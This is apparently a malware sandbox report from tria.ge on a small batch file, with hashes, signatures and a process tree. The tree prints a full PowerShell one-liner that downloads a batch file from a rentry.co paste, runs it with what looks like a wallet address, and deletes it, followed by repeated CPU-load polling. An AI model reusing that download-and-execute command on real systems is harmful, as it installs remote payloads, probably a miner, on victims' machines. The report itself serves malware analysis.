Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
157s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
30/06/2024, 21:41
Static task
static1
Behavioral task
behavioral1
Sample
11341736529672.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
11341736529672.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
11341736529672.bat
Resource
win11-20240508-en
General
-
Target
11341736529672.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Signatures
-
pid Process 2220 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4808 timeout.exe 224 timeout.exe 5040 timeout.exe 4612 timeout.exe 1616 timeout.exe 4612 timeout.exe 1600 timeout.exe 2172 timeout.exe 1604 timeout.exe 2964 timeout.exe 1080 timeout.exe 1580 timeout.exe 2504 timeout.exe 3744 timeout.exe 860 timeout.exe 4036 timeout.exe 1164 timeout.exe 4580 timeout.exe 1980 timeout.exe 3752 timeout.exe 2744 timeout.exe 2956 timeout.exe 1104 timeout.exe 432 timeout.exe 1148 timeout.exe 644 timeout.exe 1616 timeout.exe 2504 timeout.exe 128 timeout.exe 4828 timeout.exe 2356 timeout.exe 3572 timeout.exe 2156 timeout.exe 864 timeout.exe 3036 timeout.exe 3112 timeout.exe 2340 timeout.exe 3108 timeout.exe 2752 timeout.exe 3036 timeout.exe 2296 timeout.exe 1476 timeout.exe 4480 timeout.exe 1992 timeout.exe 1692 timeout.exe 4208 timeout.exe 4932 timeout.exe 1164 timeout.exe 2960 timeout.exe 3064 timeout.exe 3900 timeout.exe 3540 timeout.exe 3800 timeout.exe 3172 timeout.exe 564 timeout.exe 3692 timeout.exe 4184 timeout.exe 3000 timeout.exe 2464 timeout.exe 1996 timeout.exe 4972 timeout.exe 3756 timeout.exe 4892 timeout.exe 2316 timeout.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2220 powershell.exe 2220 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2220 powershell.exe Token: SeIncreaseQuotaPrivilege 3144 WMIC.exe Token: SeSecurityPrivilege 3144 WMIC.exe Token: SeTakeOwnershipPrivilege 3144 WMIC.exe Token: SeLoadDriverPrivilege 3144 WMIC.exe Token: SeSystemProfilePrivilege 3144 WMIC.exe Token: SeSystemtimePrivilege 3144 WMIC.exe Token: SeProfSingleProcessPrivilege 3144 WMIC.exe Token: SeIncBasePriorityPrivilege 3144 WMIC.exe Token: SeCreatePagefilePrivilege 3144 WMIC.exe Token: SeBackupPrivilege 3144 WMIC.exe Token: SeRestorePrivilege 3144 WMIC.exe Token: SeShutdownPrivilege 3144 WMIC.exe Token: SeDebugPrivilege 3144 WMIC.exe Token: SeSystemEnvironmentPrivilege 3144 WMIC.exe Token: SeRemoteShutdownPrivilege 3144 WMIC.exe Token: SeUndockPrivilege 3144 WMIC.exe Token: SeManageVolumePrivilege 3144 WMIC.exe Token: 33 3144 WMIC.exe Token: 34 3144 WMIC.exe Token: 35 3144 WMIC.exe Token: 36 3144 WMIC.exe Token: SeIncreaseQuotaPrivilege 3144 WMIC.exe Token: SeSecurityPrivilege 3144 WMIC.exe Token: SeTakeOwnershipPrivilege 3144 WMIC.exe Token: SeLoadDriverPrivilege 3144 WMIC.exe Token: SeSystemProfilePrivilege 3144 WMIC.exe Token: SeSystemtimePrivilege 3144 WMIC.exe Token: SeProfSingleProcessPrivilege 3144 WMIC.exe Token: SeIncBasePriorityPrivilege 3144 WMIC.exe Token: SeCreatePagefilePrivilege 3144 WMIC.exe Token: SeBackupPrivilege 3144 WMIC.exe Token: SeRestorePrivilege 3144 WMIC.exe Token: SeShutdownPrivilege 3144 WMIC.exe Token: SeDebugPrivilege 3144 WMIC.exe Token: SeSystemEnvironmentPrivilege 3144 WMIC.exe Token: SeRemoteShutdownPrivilege 3144 WMIC.exe Token: SeUndockPrivilege 3144 WMIC.exe Token: SeManageVolumePrivilege 3144 WMIC.exe Token: 33 3144 WMIC.exe Token: 34 3144 WMIC.exe Token: 35 3144 WMIC.exe Token: 36 3144 WMIC.exe Token: SeIncreaseQuotaPrivilege 3632 WMIC.exe Token: SeSecurityPrivilege 3632 WMIC.exe Token: SeTakeOwnershipPrivilege 3632 WMIC.exe Token: SeLoadDriverPrivilege 3632 WMIC.exe Token: SeSystemProfilePrivilege 3632 WMIC.exe Token: SeSystemtimePrivilege 3632 WMIC.exe Token: SeProfSingleProcessPrivilege 3632 WMIC.exe Token: SeIncBasePriorityPrivilege 3632 WMIC.exe Token: SeCreatePagefilePrivilege 3632 WMIC.exe Token: SeBackupPrivilege 3632 WMIC.exe Token: SeRestorePrivilege 3632 WMIC.exe Token: SeShutdownPrivilege 3632 WMIC.exe Token: SeDebugPrivilege 3632 WMIC.exe Token: SeSystemEnvironmentPrivilege 3632 WMIC.exe Token: SeRemoteShutdownPrivilege 3632 WMIC.exe Token: SeUndockPrivilege 3632 WMIC.exe Token: SeManageVolumePrivilege 3632 WMIC.exe Token: 33 3632 WMIC.exe Token: 34 3632 WMIC.exe Token: 35 3632 WMIC.exe Token: 36 3632 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 896 wrote to memory of 2220 896 cmd.exe 78 PID 896 wrote to memory of 2220 896 cmd.exe 78 PID 896 wrote to memory of 4632 896 cmd.exe 79 PID 896 wrote to memory of 4632 896 cmd.exe 79 PID 4632 wrote to memory of 3144 4632 cmd.exe 80 PID 4632 wrote to memory of 3144 4632 cmd.exe 80 PID 896 wrote to memory of 1992 896 cmd.exe 82 PID 896 wrote to memory of 1992 896 cmd.exe 82 PID 896 wrote to memory of 2836 896 cmd.exe 83 PID 896 wrote to memory of 2836 896 cmd.exe 83 PID 2836 wrote to memory of 3632 2836 cmd.exe 84 PID 2836 wrote to memory of 3632 2836 cmd.exe 84 PID 896 wrote to memory of 1616 896 cmd.exe 85 PID 896 wrote to memory of 1616 896 cmd.exe 85 PID 896 wrote to memory of 4008 896 cmd.exe 86 PID 896 wrote to memory of 4008 896 cmd.exe 86 PID 4008 wrote to memory of 1180 4008 cmd.exe 87 PID 4008 wrote to memory of 1180 4008 cmd.exe 87 PID 896 wrote to memory of 3540 896 cmd.exe 88 PID 896 wrote to memory of 3540 896 cmd.exe 88 PID 896 wrote to memory of 480 896 cmd.exe 89 PID 896 wrote to memory of 480 896 cmd.exe 89 PID 480 wrote to memory of 4876 480 cmd.exe 90 PID 480 wrote to memory of 4876 480 cmd.exe 90 PID 896 wrote to memory of 3000 896 cmd.exe 91 PID 896 wrote to memory of 3000 896 cmd.exe 91 PID 896 wrote to memory of 4744 896 cmd.exe 92 PID 896 wrote to memory of 4744 896 cmd.exe 92 PID 4744 wrote to memory of 1508 4744 cmd.exe 93 PID 4744 wrote to memory of 1508 4744 cmd.exe 93 PID 896 wrote to memory of 3692 896 cmd.exe 94 PID 896 wrote to memory of 3692 896 cmd.exe 94 PID 896 wrote to memory of 4964 896 cmd.exe 95 PID 896 wrote to memory of 4964 896 cmd.exe 95 PID 4964 wrote to memory of 1908 4964 cmd.exe 96 PID 4964 wrote to memory of 1908 4964 cmd.exe 96 PID 896 wrote to memory of 2504 896 cmd.exe 97 PID 896 wrote to memory of 2504 896 cmd.exe 97 PID 896 wrote to memory of 984 896 cmd.exe 98 PID 896 wrote to memory of 984 896 cmd.exe 98 PID 984 wrote to memory of 3052 984 cmd.exe 99 PID 984 wrote to memory of 3052 984 cmd.exe 99 PID 896 wrote to memory of 4184 896 cmd.exe 100 PID 896 wrote to memory of 4184 896 cmd.exe 100 PID 896 wrote to memory of 760 896 cmd.exe 101 PID 896 wrote to memory of 760 896 cmd.exe 101 PID 760 wrote to memory of 1800 760 cmd.exe 102 PID 760 wrote to memory of 1800 760 cmd.exe 102 PID 896 wrote to memory of 2356 896 cmd.exe 103 PID 896 wrote to memory of 2356 896 cmd.exe 103 PID 896 wrote to memory of 4260 896 cmd.exe 104 PID 896 wrote to memory of 4260 896 cmd.exe 104 PID 4260 wrote to memory of 4072 4260 cmd.exe 105 PID 4260 wrote to memory of 4072 4260 cmd.exe 105 PID 896 wrote to memory of 1148 896 cmd.exe 106 PID 896 wrote to memory of 1148 896 cmd.exe 106 PID 896 wrote to memory of 3064 896 cmd.exe 107 PID 896 wrote to memory of 3064 896 cmd.exe 107 PID 3064 wrote to memory of 4004 3064 cmd.exe 108 PID 3064 wrote to memory of 4004 3064 cmd.exe 108 PID 896 wrote to memory of 4996 896 cmd.exe 109 PID 896 wrote to memory of 4996 896 cmd.exe 109 PID 896 wrote to memory of 904 896 cmd.exe 110 PID 896 wrote to memory of 904 896 cmd.exe 110
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\11341736529672.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:480 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:984 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1800
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4260 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4796
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3012
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4932
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2084
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4476
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3620
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4808
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3756
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4956
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3396
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4892
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1584
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1056
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1172
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2352
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4476
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1144
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1440
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:232
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:128
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:240
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:124
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5008
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3520
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4908
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3464
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1476
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4868
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
